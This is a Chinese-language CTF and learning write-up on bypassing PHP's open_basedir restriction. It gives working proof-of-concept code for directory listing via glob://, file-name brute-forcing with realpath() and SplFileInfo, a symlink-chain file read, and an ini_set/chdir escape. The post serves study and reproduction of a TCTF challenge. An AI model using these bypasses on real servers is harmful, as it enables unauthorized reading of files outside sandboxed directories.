前言 在复现TCTF的时候,发现了open_basedir也是可以绕过的,于是乎学习一波师傅们的手法和思路。
open_basedir 配置 该配置的作用是将PHP所能打开的文件限制在指定的目录树,包括文件本身 ,当文件在指定的目录之外时,PHP将拒绝打开,但是直接用命令执行函数是不会受影响的。Windows中用分号隔开目录,Linux下利用冒号分隔
在PHP5.2和5.3之前的时候,使用它作为是前缀使用,对比一下
1 2 3 4 5 6 7 <?php ini_set('open_basedir' ,'/tmp/t' ); var_dump(scandir('/tmp/t' )); var_dump(scandir('/tmp/tm' )); var_dump(scandir('/tmp/tmp' )); echo file_get_contents('/tmp/t.txt' );
PHP5.1时
PHP7.3.4时
此外,php文档中指明了脚本的工作目录被作为基准目录,所以用绝对路径设置的open_basedir能够利用chdir()进行bypass
DirectoryIterator + Glob DirectoryIterator
是php5中增加的一个类,为用户提供一个简单的查看文件系统目录的接口
glob://
作用是查找匹配的文件路径模式,自PHP 5.3.0起开始有效
当用scandir()去列举指定之外的目录时,直接返回Bool(False),但是这俩种方式搭配起来就能列目录了,Ph师傅给出的利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php printf('<b>open_basedir : %s </b><br />' , ini_get('open_basedir' )); $file_list = array (); $it = new DirectoryIterator("glob:///*" ); foreach ($it as $f) { $file_list[] = $f->__toString(); } $it = new DirectoryIterator("glob:///.*" ); foreach ($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach ($file_list as $f){ echo "{$f}<br/>" ; } ?>
利用上次TCTF(PHP7.2)的环境,可以直接列出根目录下的文件。
但是想要枚举其他路径下所有文件时,还是会判断是否在basedir指定的目录中,导致无法执行,报错信息
1 2 3 4 5 open_basedir: /var/www/html:/tmp/ </br>PHP Fatal error: Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/var/html/*) is not within the allowed path(s): (/var/www/html:/tmp/) in /var/www/html/basedir/glob.php:5 Stack trace: thrown in /var/www/html/basedir/glob.php on line 5
realpath() realpath()作用是将相对路径转化为绝对路径。而且在开启open_basedir的时候,传入一个不存在的文件名就会返回False;传入一个不在指定目录的文件就会返回File(filename) is not within the allowed path(s):
如下图所示,可以用这个特性去爆破文件名。
这种爆破的工作量非常大,但是好在PHP在Windows上有一些特性:
大于号(>)相当于通配符问号(?)
小于号(<)相当于通配符星号(*)
于是POC可以改写为
1 2 3 4 5 <?php ini_set('open_basedir' ,dirname(__FILE__ )); echo "open_basedir: " .ini_get('open_basedir' );$file = 'd:/basedir/a<<' ; realpath($file);
成功爆出文件名,这里借用P牛的POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php ini_set('open_basedir' ,dirname(__FILE__ )); printf("open_basedir: %s<br/><br/>" , ini_get('open_basedir' )); set_error_handler('isexist' ); $dir = 'd:/basedir/' ; $file = '' ; $chars = 'abcdefghijklmnopqrstuvwxyz0123456789-*/+_' ; for ($i=0 ; $i<strlen($chars); $i++){ $file = $dir.$chars[$i].'<<' ; realpath($file); } function isexist ($errno, $errstr) { $regex = '/File\((.*)\) is not within/' ; printf("errstr: %s <br/>" ,$errstr); preg_match($regex, $errstr, $mathes); if (isset ($mathes[1 ])){ printf("%s <br/><br/>" , $mathes[1 ]); } }
全部爆出来了,但是要是中文名开头的话也就不好使了,而且只能在Windows下使用,Linux下只能老老实实的爆破全文件名了…
SplFileInfo类 SplFileInfo是PHP5.1.2新增的一个类,用于获取文件的一些属性信息,如文件大小、文件访问时间、文件修改时间、后缀名等值。其中有一个getRealPath()
与之前的realpath类似,也就是传入一个不存在的路径时就会返回False;否则正常返回绝对路径。但是这个函数不会判断是否在basedir指定的目录中,也就是可以爆破任意目录,而且POC中只要返回信息即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php ini_set('open_basedir' ,dirname(__FILE__ )); printf("open_basedir: %s<br/><br/>" , ini_get('open_basedir' )); $file = 'D:/basedir/a' ; $info = new SplFileInfo($file); var_dump($info->getRealPath()); <?php ini_set('open_basedir' ,dirname(__FILE__ )); printf("open_basedir: %s<br/><br/>" , ini_get('open_basedir' )); $file = 'D:/basedir/admin.txt' ; $info = new SplFileInfo($file); var_dump($info->getRealPath()); <?php ini_set('open_basedir' ,dirname(__FILE__ )); printf("open_basedir: %s<br/><br/>" , ini_get('open_basedir' )); $file = 'D:/basedir/a<<' ; $info = new SplFileInfo($file); var_dump($info->getRealPath());
所以这个POC与Realpath类似
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php ini_set('open_basedir' , dirname(__FILE__ )); printf("open_basedir: %s <br/><br/>" , ini_get('open_basedir' )); $basedir = 'd:/basedir/' ; $arr = array (); $chars = 'abcdefghijklmnopqrstuvwxyz0123456789' ; for ($i=0 ; $i < strlen($chars); $i++) { $info = new SplFileInfo($basedir . $chars[$i] . '<><' ); $re = $info->getRealPath(); if ($re) { echo $re."<br>" ; } }
缺点同样是只适用于Windows,对于中文开头的文件名比较棘手,Linux下只能暴力破解
symlink() symlink() 对于已有的 target
建立一个名为 link
的符号连接,而符号链接就是软链接,类似于Windows的快捷方式。PHP版本为7.3.4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php ini_set('open_basedir' , dirname(__FILE__ )); printf("open_basedir: %s <br/><br/>" , ini_get('open_basedir' )); mkdir("tmp" ); chdir("tmp" ); mkdir("tmp" ); chdir("tmp" ); chdir(".." ); chdir(".." ); symlink("tmp/tmp" ,"tmplink" ); symlink("tmplink/../../flag.txt" ,"exploit" ); unlink("tmplink" ); mkdir("tmplink" ); echo file_get_contents("http://127.0.0.1/symlink/exploit" );
在/var/www/html/
下有个flag.txt,并且将/var/www/html/symlink/
设置成basedir,通过执行php文件可以拿到txt文件内容。
原理就是最开始创建指向tmp/tmp
的软链接文件tmplink,然后再创建一个指向tmplink/../../flag.txt
的软链接exploit,也就是指向tmp/tmp/../../flag.txt
也就是/var/www/html/flag.txt
,最后访问exp链接就相当于访问flag.txt,成功绕过Basedir的限制。但是唯一的缺点就是,需要有足够的权限去对目录进行操作…Orz
ini_set() 这个Poc是国外大佬公开的,底层实现原理一叶飘零师傅 讲的非常明白了,最终导致ini_set()被成功覆盖
1 2 3 4 5 6 7 8 9 10 11 <?php ini_set('open_basedir' ,dirname(__FILE__ )); mkdir('tmp' ); chdir('tmp' ); ini_set('open_basedir' ,'..' ); chdir('..' ); chdir('..' ); chdir('..' ); chdir('..' ); ini_set('open_basedir' ,'/' ); var_dump(scandir('/' ));
但是这个方法的缺点同样是得必须要有对文件目录操作的权限。
同样的回到TCTF复现环境中,进入Docker中执行chown www-data /var/www/html
添加www-data用户,成功Bypass。
目前师傅们Bypass的手法,一种是通过报错信息或者返回信息进行盲扫;另一种则是根据某些函数对绝对路径和相对路径处理不当Bypass的,成功率都不算很高,但是还是膜一波师傅们Orz!!!
Reference 从PHP底层看open-basedir-bypass
PHP绕过open_basedir列目录的研究
php5全版本绕过open_basedir读文件脚本